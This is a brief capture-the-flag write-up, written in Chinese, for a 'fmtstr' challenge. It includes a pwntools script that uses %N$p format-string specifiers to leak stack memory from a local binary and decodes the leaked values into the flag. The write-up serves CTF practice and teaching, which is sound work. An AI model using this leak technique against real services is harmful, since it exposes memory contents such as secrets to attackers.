Pwnctf fmtstr Writeup

fmtstr

這題在考的是 format string，可以從 gdb 看到 flag 在 stack 裡的位置如下：

$rsp 的位置是 6，推算可以得知 flag 在 12 ~ 18 的位置，最後印出來後再調整一下 little endian 的格式，exploit.py 如下：

from pwn import *

r = process('./fmtstr')

p = ''
for i in range(12,19):
    p += '%{}$p'.format(i)
p += '#'
#print(p)
r.sendline(p)
s = r.recvuntil(b'#').strip(b'#')
#print(flag)
flag = ''
for ss in s.split(b'0x'):
    if ss == '':
        break
    tmp = ''
    for i in range(len(ss)//2):
        tmp += chr(int(ss[i*2:i*2+2], 16))
    flag += tmp[::-1]
print(flag)
r.interactive()

Pwned !!!